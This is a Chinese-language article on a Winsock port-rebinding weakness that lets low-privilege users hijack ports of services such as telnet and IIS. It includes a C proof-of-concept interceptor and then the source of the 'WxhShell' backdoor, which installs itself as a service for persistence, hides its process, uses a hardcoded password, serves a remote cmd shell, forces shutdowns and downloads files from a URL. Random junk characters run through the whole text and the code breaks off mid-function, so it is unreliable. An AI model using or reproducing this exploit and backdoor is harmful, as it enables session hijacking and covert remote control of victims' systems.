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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: cP\z*\dS s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ew~?&=
U@CAQ? saddr.sin_family = AF_INET; ob'"
^LO\ #XB3Wden2 saddr.sin_addr.s_addr = htonl(INADDR_ANY); TU58 gK@`0/k{ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !3\$XK]5ZT M d8(P23hS 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 sC.r$K+k5 W7gY$\1<& 这意味着什么?意味着可以进行如下的攻击: >B=s+}/ME pLCS\AUTsv 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 uB3VCO.;_ ZJc{P5a1J 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) r :$*pC&{ m#i4_F=^b 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 e|5@7~Vi |yz
o|%]3 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 -iY-rzW `#wEa'v6 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 f F)M'C S=.%aB 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 V5i}^%QSs jT< I`K* 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?1c7wEk
;(J&% #include '/t9#I@G\ #include j@^zK!mO #include c
q[nqjC= #include -Eig#]Se3 DWORD WINAPI ClientThread(LPVOID lpParam); zi_$roq=) int main() ARt{ 2| { !8T04988j WORD wVersionRequested; B|yz~wuS DWORD ret; _+nk3-yQw WSADATA wsaData; Tx]p4wY:D BOOL val; w{|`F>f9 SOCKADDR_IN saddr; *s-s1v SOCKADDR_IN scaddr; UNF\k1[ int err; ^Ifm1$X} SOCKET s; U<Qi`uoj! SOCKET sc; +N7<[hE; int caddsize; cWZ uph\ HANDLE mt; LwxJ:Kz. DWORD tid; F?"Gln~; wVersionRequested = MAKEWORD( 2, 2 ); n4M
Xa()P1 err = WSAStartup( wVersionRequested, &wsaData ); 3e47UquZ if ( err != 0 ) { at{p4Sl printf("error!WSAStartup failed!\n"); Ha/Qz'^S; return -1; = Ul"{T< } 7I#C[:7x saddr.sin_family = AF_INET; ?e4H{Y/M @: =vK?8L //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /W-ges S[yrGX8lu saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); s$qc& saddr.sin_port = htons(23); =+Odu if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) oNw=O>v { Lu:*nJ%1[ printf("error!socket failed!\n"); A+foc5B return -1; +boL?Ix+ } nxBP@Td val = TRUE; cYe2a" //SO_REUSEADDR选项就是可以实现端口重绑定的 u-s*k*VHoc if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,}@4@ >?K { #NGtba printf("error!setsockopt failed!\n"); On~KTt3Mp return -1; WcS`T?Xa } )8rF'pxI //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; tKcC{ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }CMGK{ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ZzTkEz > zh0T3U0D if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >o{JG(Rn { F[%k;aJ ret=GetLastError(); \P9ms?((A printf("error!bind failed!\n"); `''y,{Fs return -1; }uC]o@/ } 3.hFYA w listen(s,2); Ayg^<)JWh while(1) SCe$v76p# { r-xP6 caddsize = sizeof(scaddr); lw}7kp4
2F //接受连接请求 (!N2,1| sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); X$1YvYsID if(sc!=INVALID_SOCKET) J?X{NARt { fe`_0lxj mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _[rQt8zn if(mt==NULL) dQ-shfTr] { j$XaO%y) printf("Thread Creat Failed!\n"); v=hn# U break; xyM|q9Gf@ } _h \L6. } &Wb"/Hn2 CloseHandle(mt); [q3zs_nz } <;W-!R759 closesocket(s); DCZG'eb WSACleanup();
Y/I)ECm return 0; );JWrkpz }
kSc~gJrne DWORD WINAPI ClientThread(LPVOID lpParam) x3`JC&hF,q { WjK[% ;Z! SOCKET ss = (SOCKET)lpParam; \xl$z*zI SOCKET sc; z,E`+a; unsigned char buf[4096]; ",vK~m2W_ SOCKADDR_IN saddr; z80FMulO long num; Ee7+ob DWORD val; L[D+= DWORD ret; 0L8fpGJ //如果是隐藏端口应用的话,可以在此处加一些判断 k+?gWZ\ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 GiM-8y~ saddr.sin_family = AF_INET; 7%? bl saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); FvPWS!H saddr.sin_port = htons(23); +swT MR if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V>Z4gZp5sc { SpU|Q1Q/h printf("error!socket failed!\n"); :Z2997@Y return -1; @#N7M2/ } 3Og}_ val = 100; ;n*|AL7( if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) kqj)&0|X { !vJ$$o6# ret = GetLastError(); F7*)u-4Yn return -1; tN\I2wm } o@.{|j if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qWWt5rJ { cUG^^3! ret = GetLastError(); F@q9UlfB- return -1; /Mw;oP{&b } dm=?o if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) r"{jrBK$ { 8UgogNR\ printf("error!socket connect failed!\n"); ys`oHSf closesocket(sc); 3T0-RP* closesocket(ss); f R@Cg
sw return -1; ilJ`_QN } g~.#.S ds while(1) Haktr2I { r5nHYV&7 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 gYrB@W;2 //如果是嗅探内容的话,可以再此处进行内容分析和记录 FNF `Z //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 #>)z}a] num = recv(ss,buf,4096,0); GwP!:p| if(num>0) P/1YN send(sc,buf,num,0); 1|xe'w{ else if(num==0) D^m2iW; break; =JfwHFHd# num = recv(sc,buf,4096,0); 9oGcbD4* if(num>0) sK+uwt send(ss,buf,num,0); XLaD#J else if(num==0) ~BuBma_ break; 2AhfQ%Y= } &@CUxK closesocket(ss); wn.6l
` closesocket(sc); u*=^>LD return 0 ; kw2yb } M$@~|pQ< 5m0lk|` 1~~GF_l? ========================================================== a$Ud" 5j ]!r 下边附上一个代码,,WXhSHELL pQ0*)}l, yUo8-O aL7 ========================================================== 2/V%jS[4#y |T/OOIA=sI #include "stdafx.h" Zv9JkY=+@ 9XDSL[[ #include <stdio.h> x X3I` #include <string.h> =6:9y}~ #include <windows.h> Ym\<@[3+! #include <winsock2.h> !\1)?&y9j #include <winsvc.h> 2[pOGc$ #include <urlmon.h> 2>k*9kyp 25vjn 1$sW #pragma comment (lib, "Ws2_32.lib") 985h]KQ #pragma comment (lib, "urlmon.lib") v .C "PRHQW #define MAX_USER 100 // 最大客户端连接数 H{5,
-x #define BUF_SOCK 200 // sock buffer <2 [vR|Q* #define KEY_BUFF 255 // 输入 buffer obF|;fwPnR 71AYDO #define REBOOT 0 // 重启 M_%KhK #define SHUTDOWN 1 // 关机 uk$MQv*D H3R{+7 #define DEF_PORT 5000 // 监听端口 59j`Z^e `Rt w'Uz #define REG_LEN 16 // 注册表键长度 ><"|>(y #define SVC_LEN 80 // NT服务名长度 D-C]0Jf3 Km=
Y^x0 // 从dll定义API )b]wpEFl typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =,N"% } typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ekq( typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sBI/`dGZV typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qQDe'f~ 965 x_
% // wxhshell配置信息 >Q@y8*E\F struct WSCFG { ?32~%?m int ws_port; // 监听端口 Myg;2 . char ws_passstr[REG_LEN]; // 口令 g7hI9(8+ int ws_autoins; // 安装标记, 1=yes 0=no d{NMG)`x\ char ws_regname[REG_LEN]; // 注册表键名 J>T98y/)) char ws_svcname[REG_LEN]; // 服务名 &XcPHZy' char ws_svcdisp[SVC_LEN]; // 服务显示名 z)^.ai,: 0 char ws_svcdesc[SVC_LEN]; // 服务描述信息 j~ds)dW%`& char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Pm2LB<qS int ws_downexe; // 下载执行标记, 1=yes 0=no l\AdL$$Mb char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" r`Fs"n#^-4 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z;9D[ME#1 3zKeN:w }; 6U8esPs, sj/k';#g // default Wxhshell configuration Jv3G\9_ struct WSCFG wscfg={DEF_PORT,
C&qo$C "xuhuanlingzhe", 1U/9=b 1,
qP;1LAX "Wxhshell", "wZvr}xk "Wxhshell", 4FYV]p8f "WxhShell Service", [c1Gq)ht "Wrsky Windows CmdShell Service", )O+Zbn "Please Input Your Password: ", R8lja%+0$ 1, ?d?.&nt " http://www.wrsky.com/wxhshell.exe", .J @mpJdY "Wxhshell.exe" = )3\B }; #U%HGTE0 .kuNn-$ // 消息定义模块 zJ}abo6rVw char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k.54lNl char *msg_ws_prompt="\n\r? for help\n\r#>"; U%@C<o
" char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; S`
U, char *msg_ws_ext="\n\rExit."; <Bn0wr8)\ char *msg_ws_end="\n\rQuit."; /t]1_ char *msg_ws_boot="\n\rReboot..."; n>eDN\5 char *msg_ws_poff="\n\rShutdown..."; Y{dX[^[ char *msg_ws_down="\n\rSave to "; 7n84`|= I`IW^eZM char *msg_ws_err="\n\rErr!"; kzCJs char *msg_ws_ok="\n\rOK!"; *u|1Z%XO PPG+~.7 char ExeFile[MAX_PATH]; |n;);T( int nUser = 0; 1I'Q{X&B HANDLE handles[MAX_USER]; 9\Ff z& int OsIsNt; V73/q PeiRe SERVICE_STATUS serviceStatus; >JA-G@3i SERVICE_STATUS_HANDLE hServiceStatusHandle; |LLpG37_ :!CnGKgt // 函数声明 #=)>,6Zw int Install(void); Zi]E!Tgn int Uninstall(void); 29G el int DownloadFile(char *sURL, SOCKET wsh); +Z_VF30pa int Boot(int flag); alzdYiGf void HideProc(void); tXrKC int GetOsVer(void); 58HAl_8W int Wxhshell(SOCKET wsl); =IX-n$d`> void TalkWithClient(void *cs); $i<+O,@- int CmdShell(SOCKET sock); Q{=r9&& int StartFromService(void); D{7^y>8_Y- int StartWxhshell(LPSTR lpCmdLine); <a_(qh@B "v0bdaQH3 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vc3r [mT VOID WINAPI NTServiceHandler( DWORD fdwControl ); "R)n1,0 =#Jx~d [C // 数据结构和表定义 1]0;2THx SERVICE_TABLE_ENTRY DispatchTable[] = 5Zhl@v,L% { KCZ<#ca^ {wscfg.ws_svcname, NTServiceMain}, zXlerQWUv {NULL, NULL} jbZTlG }; vY.VFEP/ dJrUcZBr // 自我安装 CflyK@ int Install(void) ^uw]/H3?L { bnvY2-O6 char svExeFile[MAX_PATH]; 1D[>oK\ HKEY key; 8"d??3ZXJ strcpy(svExeFile,ExeFile); kQ&Q_FSO Z 369< // 如果是win9x系统,修改注册表设为自启动 G"(aoy,
co if(!OsIsNt) { Hq>hnCT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c]U+6JH RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YE*|KL^ RegCloseKey(key); K7{B!kX4k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pQ^V<6z} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ct,;V/Dx RegCloseKey(key); F}[!OYyg return 0; B9
?58v& } O.y ?q } )@Y<
<9'2 } \pI {b9 else { nW\W<[O9 "|&3z/AUh // 如果是NT以上系统,安装为系统服务 oXk6,b" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jvR(e" if (schSCManager!=0) v/~&n { 8[AU`F8W SC_HANDLE schService = CreateService An?#B4: ( S"^'ksL\ schSCManager, jd5kkX8= wscfg.ws_svcname, sieC7raO wscfg.ws_svcdisp, 9qGba=}Ey SERVICE_ALL_ACCESS, :,$"Gk SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E^{!B]/oP SERVICE_AUTO_START, sEfT#$ a^8 SERVICE_ERROR_NORMAL, Zi\ex\ )5 svExeFile, >y#qn9rV1 NULL, csJ)Pt?d NULL, ~W4SFp NULL, c,)]!{c NULL, 2$t%2>1>@ NULL y>h9:q| ); pNQ7uy if (schService!=0) |Go$z3bx { s]A8C^;c CloseServiceHandle(schService); [%6) CloseServiceHandle(schSCManager); pH3\X
cn strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #M#$2Vt strcat(svExeFile,wscfg.ws_svcname); x)$0Nr62D if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t3^`:T\ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M5:*aCN6P RegCloseKey(key); jVoD9H
F/ return 0; iY,oaC~?"N } qZV|}M>P) } j}tGcFwvSN CloseServiceHandle(schSCManager); ^ )!eiM } '+iLW~ } 14uv[z6 <ycR/X return 1; Y1ca=ewFx } d9jD?HgM( }?6;;d# // 自我卸载 pz/W#VN int Uninstall(void) !v%>W< 3Q { G8?Do+[ HKEY key; }C/+zF6q h|Qb:zEP, if(!OsIsNt) { O<@L~S] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,(sE|B#s RegDeleteValue(key,wscfg.ws_regname); `]4(Z"R RegCloseKey(key); qq[Dr|%7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &0G9v RegDeleteValue(key,wscfg.ws_regname); EX, {1^h RegCloseKey(key); @ %q>Jd return 0; ve.P{;;Ky } c\ZnGI\| } 7\nXJ381 } S&[9Vb else { glROT@ gzW{h0iRr SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8*B+@` if (schSCManager!=0) |tLD^`bt { _.]mES| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pAA)?/&oKV if (schService!=0) ]WcN6|b+ { KC(z TY if(DeleteService(schService)!=0) { .EjR<UU CloseServiceHandle(schService); )^6Os2 CloseServiceHandle(schSCManager);
{;u+? uY return 0; L5|g\Y` } fsnZHL}=n CloseServiceHandle(schService); J
48$l(l3 } [Ne'2z CloseServiceHandle(schSCManager); ]Z=al`- } v7#|% } G7-k ,P^ ,BGUIu6 return 1; o#z$LT1dY } 8)"lCIf W| 0))5a // 从指定url下载文件 2cGiE{ int DownloadFile(char *sURL, SOCKET wsh) bNm]h. { >O~V#1 H HRESULT hr; ` ` Yk char seps[]= "/"; {%y|A{}c char *token; $[7/~I>m char *file; >mEfd=p char myURL[MAX_PATH]; Zvfy%k char myFILE[MAX_PATH]; O%F*i2I:+k )4:]gx#cr strcpy(myURL,sURL); <1*\ ~CX token=strtok(myURL,seps); R4k+.hR while(token!=NULL) [)0^*A2 { 2@ZRz%(Oa& file=token; 4Xt`L"f token=strtok(NULL,seps); q.@% H} } ?(Plb&kR O2 + K GetCurrentDirectory(MAX_PATH,myFILE); ^si[L52BZ strcat(myFILE, "\\"); !V/7q'&t= strcat(myFILE, file); 2:nI4S send(wsh,myFILE,strlen(myFILE),0); w5/6+@} send(wsh,"...",3,0); [>3dhj[; hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vW? /: if(hr==S_OK) @B(E&
return 0; F:Ps> else !su773vo return 1; :!?Fq/! El
:%\hGy } +$2`"%nBG m9&%A0 // 系统电源模块 ocUBSK|K) int Boot(int flag) D~M R)z_p~ { T:|p[Xbo HANDLE hToken; E:PPb9Kd TOKEN_PRIVILEGES tkp; OP-{76vE&b \6"=`H0} if(OsIsNt) { eT(X Ri0 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #,XZ @u+ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a{rUk%x tkp.PrivilegeCount = 1; J}#2Wy^{ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W5:fY>7 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,7k1n{C) if(flag==REBOOT) { aU[!*n 4Ux if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rwgj] return 0; ^L7!lzyo } &1`Y&x:p else { H/;AlN|! if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <$25kb R5K return 0; Z*h}E } ,\#s_N7 } cN&:V2, else { C|3cQ{ if(flag==REBOOT) { ZBN,%P!P0 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +Kg }R5+ return 0; BD86t[${W } asLrXGGyT else { `s Pk:cNz~ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b7T;6\[m return 0; #)[.Xz:U } Rr[Wka9[ } <63TN`B aD_7^8> return 1; a1%}Ee } 8IBr#+0 ib!TXWq // win9x进程隐藏模块 A:yql`&s void HideProc(void) Qc PU{#6 { NPM2qL9&J ,\aLv
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eQn[ if ( hKernel != NULL ) ?cKTeGrS { ,IE.8h)H pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); WpnP^gmX ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %f1IV(3Qc FreeLibrary(hKernel); Hr!$mf)h } -Wh 2hWg+ {9x>@p/ return; ;fN^MW@&[ } ?d{O'&|: #5'@at'1 // 获取操作系统版本 hdSP#Y'- int GetOsVer(void) qfxEo76' { L%QRWhB OSVERSIONINFO winfo; &?Q^i">cZ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6 v~nEw GetVersionEx(&winfo); zDbO~.d if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) aIrM-c8.O return 1; U[8F{LX else ^&8hhxCPu| return 0; {~s\a2YH } I;eoy, eO*s,* // 客户端句柄模块 RO%M9LISI int Wxhshell(SOCKET wsl) !y'>sAf { Ht\2 IP SOCKET wsh; "Jg.)1Jw struct sockaddr_in client; H270)Cwn+ DWORD myID; k_zn>aR$F 4gNN " while(nUser<MAX_USER) J]{<Z?% { z,2*3Be6V int nSize=sizeof(client); $ Y^0l wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p4UEhT if(wsh==INVALID_SOCKET) return 1; e5n]@mu% <mVFC handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3
v.8 if(handles[nUser]==0) V3r)u\ o' closesocket(wsh); MuP>#Vk else
_<Ij)#Rq7 nUser++; >D}|'.& } DG0I-"s WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !cM<&3/ "19#{yX4 return 0; *FZav2]- } 4#]g852 M6^
\LtFt // 关闭 socket cL;%2TMk void CloseIt(SOCKET wsh) HX}B#T { /93z3o7D> closesocket(wsh); A*81}P_ nUser--; @o^$/AE? ExitThread(0); n ]D io } 'd&d"E[ yg*
#~, // 客户端请求句柄 W83PMiN"T- void TalkWithClient(void *cs) \b8#xT} { V@b7$z H^@Hco>| SOCKET wsh=(SOCKET)cs; H-v[ShE char pwd[SVC_LEN]; %Q &'] char cmd[KEY_BUFF]; F'|e:h char chr[1]; ?CC.xE int i,j; {#4a}:3 5y\35kT' while (nUser < MAX_USER) { 7Hgn/b[?b rwP)TJh" if(wscfg.ws_passstr) { % -AcA if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I}0? d //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W;UPA~nT~ //ZeroMemory(pwd,KEY_BUFF); h$6'9rL&i i=0; r^<,f[yH while(i<SVC_LEN) { V&vG.HAT V\{@c%xW // 设置超时 M<*Tp^Y' fd_set FdRead; ~OPBZ# struct timeval TimeOut; ytjZ7J['{ FD_ZERO(&FdRead); [MwL=9;!H FD_SET(wsh,&FdRead); {#,5C H') TimeOut.tv_sec=8; t&=bW<6 TimeOut.tv_usec=0; rr1'|
k" int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .KC V|x;QW if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^L)3O|6c 9lR6:}L7 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V;"2=)X pwd =chr[0]; KW[y+c u.# if(chr[0]==0xd || chr[0]==0xa) { q0Q[]|L pwd=0; "RK"Pn+ break; Mog [,{w } C,W_0=!e i++; U]vUa^nG } .PVYYhrt Y9<[n)>+ // 如果是非法用户,关闭 socket +ZW>JjP* if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iQ8{N:58DN } -Pt E+R[A RH _b send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )xa)$u send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FZ+2{wIV^ 7 =}tJ while(1) { 'h'pM#D hp(MKfh H ZeroMemory(cmd,KEY_BUFF); DzE^FY Y<VX.S2kf // 自动支持客户端 telnet标准 eaDZ^Z
Er j=0; MZ-;'w&Z while(j<KEY_BUFF) { 'l~7u({u if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Kb<c||2Nh5 cmd[j]=chr[0]; ]1d)jWG
if(chr[0]==0xa || chr[0]==0xd) { _BJ:GDz> cmd[j]=0; A>upT' break; XE<5( } kwT)j(pp< j++; m[2[9bQ0 }
*~U.36 JWg.0d$hM // 下载文件 fg#e*7Odn if(strstr(cmd,"http://")) { _rIo
@v send(wsh,msg_ws_down,strlen(msg_ws_down),0); z[QDJMt> if(DownloadFile(cmd,wsh)) &ZC{ _t send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1R~$m else 6O6B8 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \:1$E[3v } sfw*_}y else { x,10o &`n:AR` switch(cmd[0]) { p19(>|$J .$x}~Sw // 帮助 9v*y&V9/ case '?': { JluA?B7E send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >W-xDzJry break; 3I( n]; } EHn!ZrQgh // 安装 p qpsa' case 'i': { ?#: ']q if(Install()) *f;$5B#^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); dO1m else PDA9.b<q0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E.NfVeq break; RxJbQs$Ph } [9Rh" H;h // 卸载 JJWPte/ case 'r': { r`6f if(Uninstall()) t855| send(wsh,msg_ws_err,strlen(msg_ws_err),0); R"O%##Ws else ]f&]E
~i send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K3
BWj33 break; ~< UYJc } tg#jjXV\0p // 显示 wxhshell 所在路径 1z&"V}y case 'p': { YQ?hAAJ char svExeFile[MAX_PATH]; 2(3Q#3V strcpy(svExeFile,"\n\r"); YB 7A5 strcat(svExeFile,ExeFile); urx?p^c send(wsh,svExeFile,strlen(svExeFile),0); J9NuqV3 break; AU`z.Isf } DeF`#a0E // 重启 Mpw]dYM case 'b': { z5iCQ4C< send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lN5PKsGl if(Boot(REBOOT)) leNX5 sX send(wsh,msg_ws_err,strlen(msg_ws_err),0); vqf}(/.D else { $+44US closesocket(wsh); 13v`rK`7o ExitThread(0); 1/:vFX } 6-"tQ,AZ break; diM*jN# } s-WZ3g // 关机 jJ<&!= case 'd': { '\8YH+%It send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [Ca''JqrA if(Boot(SHUTDOWN)) I$+=Fb'N0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); O
]
!tK else { PV"\9OIKb. closesocket(wsh); iN'T^+um= ExitThread(0); NkBvN\CQ } iExKi1knx break; dba_(I~y } MYara;k // 获取shell `{Oqb case 's': { Wq}6RdY$ZA CmdShell(wsh); -wC}JVVcK closesocket(wsh); {4vWSb ExitThread(0); |#cqxr " break; GOA
dhh- } g_l-@ // 退出 _7:Bxx4B case 'x': { *:
FS/ir send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LNk :PD0m CloseIt(wsh); RXAE
jzf break; ~YW;' } bV(BwWm // 离开 W%^!<bFk}m case 'q': { ^u$=<66 send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z P|k3
closesocket(wsh); ]Ri=*KZa WSACleanup(); xV14Y9 exit(1); .bp#YU,m break; 58#nYt } [W$Mn.5<s } )_ !a: } S#p_Y^A UJL'4 t/ // 提示信息 5D7 L)> if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x@oxIXN } 7#UJ444b~ } r 56~s5A kkHK~(>G return; [vb#W!M&| } &${| o@ o?M ;f\Fy // shell模块句柄 TeZu*c int CmdShell(SOCKET sock) h2mHbe43 { 4j'rbbs/ STARTUPINFO si; AdDR<IW ZeroMemory(&si,sizeof(si)); 5 8;OTDR! si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CfrO1i F si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; & }j;SK5 PROCESS_INFORMATION ProcessInfo; *<
fJgc"3 char cmdline[]="cmd"; p(GI02|n CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'M? ptu?f return 0; hUvA;E(qD } ;
Gv-$0{P3 g6DIWMoO=h // 自身启动模式 gk8v{'0Er int StartFromService(void) 7vPGb:y { .HY,'oC. typedef struct It/'R-H { 7W4m&+ DWORD ExitStatus; M9Sj@ ww DWORD PebBaseAddress; 8#A4B2 DWORD AffinityMask;
